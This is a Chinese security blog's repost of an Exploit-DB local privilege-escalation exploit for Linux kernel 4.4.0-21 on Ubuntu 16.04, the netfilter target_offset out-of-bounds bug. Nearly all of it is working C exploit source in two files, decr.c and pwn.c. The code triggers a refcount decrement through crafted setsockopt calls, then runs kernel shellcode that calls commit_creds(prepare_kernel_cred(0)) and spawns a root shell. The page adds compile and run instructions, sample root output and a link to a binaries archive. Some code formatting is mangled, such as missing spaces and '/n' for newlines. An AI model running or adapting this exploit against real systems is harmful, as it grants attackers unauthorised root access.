Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - netfilter target_offset OOB Privilege Escalation

暗月博客 2019年11月21日23:22:39评论1,032 views字数 5915阅读19分43秒阅读模式
摘要

    40053.zip

/*

EDB Note: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40053.zip
*/
  
--------------------------------------------------- decr.c ---------------------------------------------------
/**
 * Ubuntu 16.04 local root exploit - netfilter target_offset OOB
 * check_compat_entry_size_and_hooks/check_entry
 *
 * Tested on 4.4.0-21-generic. SMEP/SMAP bypass available in descr_v2.c
 *
 * Vitaly Nikolenko
 * 23/04/2016
 *
 *
 * ip_tables.ko needs to be loaded (e.g., iptables -L as root triggers
 * automatic loading).
 *
 * vnik@ubuntu:~$ uname -a
 * Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 * vnik@ubuntu:~$ gcc decr.c -m32 -O2 -o decr
 * vnik@ubuntu:~$ gcc pwn.c -O2 -o pwn
 * vnik@ubuntu:~$ ./decr 
 * netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik
 * [!] Decrementing the refcount. This may take a while...
 * [!] Wait for the "Done" message (even if you'll get the prompt back).
 * vnik@ubuntu:~$ [+] Done! Now run ./pwn
 * 
 * vnik@ubuntu:~$ ./pwn
 * [+] Escalating privs...
 * root@ubuntu:~# id
 * uid=0(root) gid=0(root) groups=0(root)
 * root@ubuntu:~# 
 * 
 */
  
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <linux/sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <sys/mman.h>
  
#define MALLOC_SIZE 66*1024
  
intcheck_smaep() {
    FILE*proc_cpuinfo;
    charfbuf[512];
  
    proc_cpuinfo =fopen("/proc/cpuinfo","r");
  
    if(proc_cpuinfo < 0) {
        perror("fopen");
        return-1;
    }
  
    memset(fbuf, 0,sizeof(fbuf));
      
    while(fgets(fbuf, 512, proc_cpuinfo) != NULL) {
        if(strlen(fbuf) == 0)
            continue;
          
        if(strstr(fbuf,"smap") ||strstr(fbuf,"smep")) {
            fclose(proc_cpuinfo);
            return-1;
        }
    }
  
    fclose(proc_cpuinfo);
    return0;
}
  
intcheck_mod() {
    FILE*proc_modules;
    charfbuf[256];
  
    proc_modules =fopen("/proc/modules","r");
  
    if(proc_modules < 0) {
        perror("fopen");
        return-1;
    }
  
    memset(fbuf, 0,sizeof(fbuf));
      
    while(fgets(fbuf, 256, proc_modules) != NULL) {
        if(strlen(fbuf) == 0)
            continue;
          
        if(!strncmp("ip_tables", fbuf, 9)) {
            fclose(proc_modules);
            return0;
        }
    }
  
    fclose(proc_modules);
    return-1;
}
  
intdecr(void*p) {
    intsock, optlen;
    intret;
    void*data;
    structipt_replace *repl;
    structipt_entry *entry;
    structxt_entry_match *ematch;
    structxt_standard_target *target;
    unsigned i;
  
    sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
  
    if(sock == -1) {
            perror("socket");
            return-1;
    }
  
    data =malloc(MALLOC_SIZE);
  
    if(data == NULL) {
        perror("malloc");
        return-1;
    }
  
    memset(data, 0, MALLOC_SIZE);
  
    repl = (structipt_replace *) data;
    repl->num_entries = 1;
    repl->num_counters = 1;
    repl->size =sizeof(*repl) +sizeof(*target) + 0xffff;
    repl->valid_hooks = 0;
  
    entry = (structipt_entry *) (data +sizeof(structipt_replace));
    entry->target_offset = 74;// overwrite target_offset
    entry->next_offset =sizeof(*entry) +sizeof(*ematch) +sizeof(*target);
  
    ematch = (structxt_entry_match *) (data +sizeof(structipt_replace) +sizeof(*entry));
  
    strcpy(ematch->u.user.name,"icmp");
    void*kmatch = (void*)mmap((void*)0x10000, 0x1000, 7, 0x32, 0, 0);
    uint64_t *me = (uint64_t *)(kmatch + 0x58);
    *me = 0xffffffff821de10d;// magic number!
  
    uint32_t *match = (uint32_t *)((char*)&ematch->u.kernel.match + 4);
    *match = (uint32_t)kmatch;
      
    ematch->u.match_size = (short)0xffff;
  
    target = (structxt_standard_target *)(data +sizeof(structipt_replace) + 0xffff + 0x8);
    uint32_t *t = (uint32_t *)target;
    *t = (uint32_t)kmatch;
  
    printf("[!] Decrementing the refcount. This may take a while.../n");
    printf("[!] Wait for the /"Done/" message (even if you'll get the prompt back)./n");
  
    for(i = 0; i < 0xffffff/2+1; i++) {
        ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void*) data, 66*1024);
    }
  
    close(sock);
    free(data);
    printf("[+] Done! Now run ./pwn/n");
  
    return0;
}
  
intmain(void) {
    void*stack;
    intret;
  
    printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik/n");
    if(check_mod()) {
        printf("[-] No ip_tables module found! Quitting.../n");
        return-1;
    }
  
    if(check_smaep()) {
        printf("[-] SMEP/SMAP support dectected! Quitting.../n");
        return-1;
    }
  
    ret = unshare(CLONE_NEWUSER);
  
    if(ret == -1) {
        perror("unshare");
        return-1;
    }
  
    stack = (void*)malloc(65536);
  
    if(stack == NULL) {
        perror("malloc");
        return-1;
    }
  
    clone(decr, stack + 65536, CLONE_NEWNET, NULL);
  
    sleep(1);
  
    return0;
}
  
--------------------------------------------------- pwn.c ---------------------------------------------------
  
/**
 * Run ./decr first!
 *
 * 23/04/2016
 * - vnik
 */
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <assert.h>
  
#define MMAP_ADDR 0xff814e3000
#define MMAP_OFFSET 0xb0
  
typedefint__attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);
typedefuint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);
  
void__attribute__((regparm(3))) privesc() {
    commit_creds_fn commit_creds = (void*)0xffffffff810a21c0;
    prepare_kernel_cred_fn prepare_kernel_cred = (void*)0xffffffff810a25b0;
        commit_creds(prepare_kernel_cred((uint64_t)NULL));
}
  
intmain() {
    void*payload = (void*)mmap((void*)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);
    assert(payload == (void*)MMAP_ADDR);
  
    void*shellcode = (void*)(MMAP_ADDR + MMAP_OFFSET);
  
    memset(shellcode, 0, 0x300000);
  
    void*ret =memcpy(shellcode, &privesc, 0x300);
    assert(ret == shellcode);
  
    printf("[+] Escalating privs.../n");
  
    intfd = open("/dev/ptmx", O_RDWR);
    close(fd);
  
    assert(!getuid());
  
    printf("[+] We've got root!");
  
        returnexecl("/bin/bash","-sh", NULL);
}

 

 

40053.zip

 
 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日23:22:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - netfilter target_offset OOB Privilege Escalationhttps://cn-sec.com/archives/73394.html

发表评论

匿名网友 填写信息